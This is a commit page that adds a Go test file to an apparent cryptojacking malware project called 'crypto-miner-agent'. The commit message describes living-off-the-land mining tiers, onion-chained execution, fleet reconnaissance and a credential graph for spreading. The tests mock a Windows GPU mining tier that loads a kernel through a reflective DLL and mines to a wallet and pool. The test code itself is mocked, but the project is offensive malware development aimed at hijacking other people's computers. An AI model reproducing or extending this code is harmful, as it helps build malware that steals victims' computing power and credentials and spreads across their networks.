Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
61
agent/miner/tier_gpu_compute_test.go
Normal file
61
agent/miner/tier_gpu_compute_test.go
Normal file
@@ -0,0 +1,61 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"runtime"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestRunGPUComputeTierMockProbe(t *testing.T) {
|
||||
if runtime.GOOS != "windows" {
|
||||
t.Skip("gpu_compute tier requires windows")
|
||||
}
|
||||
SetGPUComputeProbe(func(cfg config.RuntimeConfig) GPUComputeProbe {
|
||||
return GPUComputeProbe{
|
||||
CUDAAvailable: true,
|
||||
StratumReady: true,
|
||||
KernelPath: "cuda_reflective_dll",
|
||||
ReflectiveDLL: true,
|
||||
DiagnosticOnly: true,
|
||||
}
|
||||
})
|
||||
defer SetGPUComputeProbe(nil)
|
||||
|
||||
attempt := RunGPUComputeTier(context.Background(), config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
GPUEnabled: true,
|
||||
RVNWallet: "wallet",
|
||||
PoolHost: "pool.example.com",
|
||||
Wallet: "cmr-wallet",
|
||||
},
|
||||
})
|
||||
if !attempt.OK {
|
||||
t.Fatalf("attempt=%+v", attempt)
|
||||
}
|
||||
if attempt.Details["cuda"] != true {
|
||||
t.Fatalf("details=%v", attempt.Details)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunGPUComputeTierNoKernelGracefulSkip(t *testing.T) {
|
||||
if runtime.GOOS != "windows" {
|
||||
t.Skip("gpu_compute tier requires windows")
|
||||
}
|
||||
SetGPUComputeProbe(func(cfg config.RuntimeConfig) GPUComputeProbe {
|
||||
return GPUComputeProbe{StratumReady: true}
|
||||
})
|
||||
defer SetGPUComputeProbe(nil)
|
||||
|
||||
attempt := RunGPUComputeTier(context.Background(), config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
GPUEnabled: true,
|
||||
RVNWallet: "wallet",
|
||||
PoolHost: "pool.example.com",
|
||||
},
|
||||
})
|
||||
if attempt.OK {
|
||||
t.Fatal("expected failure without CUDA/HLSL")
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user